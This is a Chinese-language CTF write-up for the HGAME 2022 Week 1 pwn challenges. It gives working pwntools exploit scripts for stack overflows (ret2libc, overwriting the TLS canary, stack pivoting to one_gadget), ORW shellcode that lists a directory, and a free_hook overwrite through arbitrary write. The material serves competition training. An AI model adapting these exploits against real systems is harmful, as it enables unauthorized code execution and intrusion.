PWN-COMPETITION-HGAME2022-Week1
enter_the_pwn_land
栈溢出,需要注意的是下标 i 的地址比输入s的地址更高
s溢出会覆盖 i ,于是需要小心地覆写 i 的值,让循环顺利执行下去
然后就是常规的ret2libc
# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
io=process("./pwn1")
#io=remote("chuj.top",30722)
elf=ELF("./pwn1")
main_addr=0x401260
puts_got=elf.got["puts"]
puts_plt=elf.plt["puts"]
pop_rdi=0x401313
ret=0x40101a
payload="a"*44+p32(44)+"b"*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.sendline(payload)
puts_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print("puts_addr=="+hex(puts_addr))
libc_base=puts_addr-0x0875a0
system=libc_base+0x055410
binsh=libc_base+0x1b75aa
payload="a"*44+p32(44)+"b"*8+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)+p64(main_addr)
io.sendline(payload)
io.interactive()
enter_the_evil_pwn_land
栈溢出,开了canary保护
不能通过覆盖canary低字节为0x0A,从而puts出canary
test_thread返回时检测到canary不正确,程序就会crash
test_thread是新创建的线程,而且栈可溢出的字节数很多,考虑直接覆写TLS中的canary
关键是确定TLS中canary的偏移,参考:canary的各种姿势
通过爆破,确定本题的TLS中canary的偏移为2160
然后是通过栈迁移实现ret2one_gadget
# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
io=process("./enter_the_evil_pwn_land")
#io=remote("chuj.top",39853)
elf=ELF("./enter_the_evil_pwn_land")
libc=ELF("./libc-2.31.so")
buf=0x404060
offset=2160
main_addr=0x4011D6
leave_ret=0x40125A
puts_got=elf.got["puts"]
puts_plt=elf.plt["puts"]
read_plt=elf.plt["read"]
pop_rdi=0x401363
pop_rsi_r15=0x401361
ret=0x40101a
payload="a"*48+p64(buf)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)
payload+=p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(buf)+p64(0)+p64(read_plt)+p64(leave_ret)
payload=payload.ljust(offset,"a")
io.sendline(payload)
puts_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print("puts_addr=="+hex(puts_addr))
libc_base=puts_addr-libc.sym["puts"]
print("libc_base=="+hex(libc_base))
pop_rdx_r12_ret = libc_base+0x11c371
ogg=libc_base+0xe6c7e
payload="a"*8+p64(pop_rdx_r12_ret)+p64(0)+p64(0)+p64(ogg)
io.sendline(payload)
io.interactive()
oldfashion_orw
-1绕过atoi,然后栈溢出,泄露libc基址
按照题目描述和hint,知道要读目录
读目录对应的系统调用为__NR_getdents,系统调用号为78
参考:getdents - 获得目录项
遍历目录,找文件名前4个字符为"flag"的文件,然后orw打印flag
读目录,遍历目录和orw没有很合适的gadgets,故直接写成shellcode
于是要先mmap出一块可执行的内存
exp如下:
# -*- coding:utf-8 -*-
from pwn import *
from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *
from pwnlib.gdb import *
context.log_level="debug"
context.arch="amd64"
context.os="linux"
#io=process("./vuln")
io=remote("chuj.top",43565)
elf=ELF("./vuln")
libc=ELF("./libc-2.31.so")
#gdb.attach(io,"b * 0x4013DB")
#pause()
rop=ROP(elf)
rop.write(1,elf.got["write"])
for i in range(0x90//6):
rop.read(0,elf.bss(i*6))
rop.migrate(elf.bss())
io.sendlineafter("size?\n","-1")
io.sendafter("content?\n","\x00"*0x38+rop.chain())
io.recvuntil("done!\n")
libc_base=u64(io.recv(6).ljust(8,"\x00"))-libc.sym["write"]
libc.address=libc_base
string_="./\x00"
shellcode=asm("""
mov rsi,0x10000
mov rdi,0x600000
mov rax,2
syscall
mov rdx,0xf00
mov rsi,0x600100
mov rdi,rax
mov rax,0x4e
syscall
mov r8,rax
add r8,0x600100
mov r9,0x600100
start:
mov edx,dword ptr[r9+0x12]
cmp edx,0x67616c66
je print
xor rcx,rcx
mov cx,word ptr[r9+0x10]
add r9,rcx
cmp r9,r8
jl start
jmp end
print:
xor rsi,rsi
mov rdi,r9
add rdi,0x12
mov rax,2
syscall
mov rdx,0x100
mov rsi,0x600200
mov rdi,rax
mov rax,0
syscall
mov rdx,rax
mov rsi,0x600200
mov rdi,1
mov rax,1
syscall
end:
jmp $
""")
rop2=ROP(libc)
rop2.mmap(0x600000,0x1000,7,0x21)
rop2.read(0,0x600000,len(shellcode)+len(string_))
rop2.call(0x600000+len(string_))
io.send(rop2.chain())
sleep(1)
io.send(string_+shellcode)
#pause()
io.interactive()
ser_per_fa
程序实现了一个spfa算法,题目提示漏洞点不在spfa算法内,于是分析其他地方
main函数中,第33、34行,可以给v6输入一个负数,实现任意读,泄露程序基址和libc基址
add函数中,当写入很多组数据时,num_edge也会被覆写
覆写num_edge为合适的值,实现任意写
spfa函数中,第36行,删除队列会调用free
于是配合上面的任意写,将free_hook写成后门函数地址即可getshell
# -*- coding:utf-8 -*-
from pwn import *
import hashlib
context.log_level="debug"
io=process("./spfa")
#io=remote("chuj.top",49375)
elf=ELF("./spfa")
libc=ELF("./libc-2.31.so")
def get_pwd(str, num):
if(num == 1):
for x in str:
yield x
else:
for x in str:
for y in get_pwd(str, num-1):
yield x+y
strKey=""
for i in range(33,127):
strKey+=chr(i)
#io.recvuntil("sha256(????) == ")
#code=io.recvuntil("\n")[:-1]
#for x in get_pwd(strKey,4):
# h=hashlib.sha256()
# h.update(x.encode(encoding='utf-8'))
# h_hexdigest=h.hexdigest()
# if h_hexdigest==code:
# io.sendline(x)
# break
io.sendlineafter("datas?\n>> ","3")
#1,泄露程序基址
num=1
io.sendlineafter("nodes?\n>> ",str(num))
io.sendlineafter("edges?\n>> ",str(num))
for i in range(num):
io.sendline("1 2 3")
io.sendlineafter("which node?\n>> ","1")
__frame_dummy_init_array_entry=(elf.sym["__frame_dummy_init_array_entry"]-elf.sym["dist"])//8
io.sendlineafter("to ?\n>> ",str(__frame_dummy_init_array_entry))
io.recvuntil("shortest path is ")
proc_base=int(io.recvuntil("\n")[:-1])-elf.sym["frame_dummy"]
print("proc_base=="+hex(proc_base))
backdoor=proc_base+0x16A5
print("backdoor=="+hex(backdoor))
unk_7068_addr=proc_base+0x7068
print("unk_7068_addr=="+hex(unk_7068_addr))
#2,泄漏libc基址
num=1
io.sendlineafter("nodes?\n>> ",str(num))
io.sendlineafter("edges?\n>> ",str(num))
for i in range(num):
io.sendline("1 2 3")
io.sendlineafter("which node?\n>> ","1")
stdout=(elf.bss()-elf.sym["dist"])//8
io.sendlineafter("to ?\n>> ",str(stdout))
io.recvuntil("shortest path is ")
_IO_2_1_stdout_=int(io.recvuntil("\n")[:-1])
print("_IO_2_1_stdout_=="+hex(_IO_2_1_stdout_))
libc_base=_IO_2_1_stdout_-libc.sym["_IO_2_1_stdout_"]
print("libc_base=="+hex(libc_base))
free_hook_addr=libc_base+libc.sym["__free_hook"]
print("free_hook_addr=="+hex(free_hook_addr))
#3,覆写free_hook为后门函数
free_hook_to_unk_7068_offset=(free_hook_addr-unk_7068_addr)//24
print("free_hook_to_edge_offset=="+hex(free_hook_to_unk_7068_offset))
num=609
io.sendlineafter("nodes?\n>> ",str(num+1))
io.sendlineafter("edges?\n>> ",str(num+1))
send_content=str(1)+" "+str(num+1)+" "+str(free_hook_to_unk_7068_offset-1)
for i in range(num):
io.sendline(send_content)
send_content=str(1)+" "+str(backdoor)+" "+str(backdoor)
io.sendline(send_content)
io.sendlineafter("which node?\n>> ","2")
io.sendline("cat flag")
io.interactive()
test_your_nc
nc连上去,cat flag即可
test_your_gdb
调试得到s2的16字节数据,第23行的write泄露canary,第24行的gets造成栈溢出
程序有后门函数,ret2text即可
# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
io=process("./test_your_gdb")
#io=remote("chuj.top",50610)
elf=ELF("./test_your_gdb")
backdoor=0x401256
ans1=0xb0361e0e8294f147
ans2=0x8c09e0c34ed8a6a9
io.sendafter("pass word\n",p64(ans1)+p64(ans2))
io.recv(24)
canary=u64(io.recv(8))
print("canary=="+hex(canary))
payload="a"*24+p64(canary)+"b"*8+p64(backdoor)
io.sendline(payload)
io.interactive()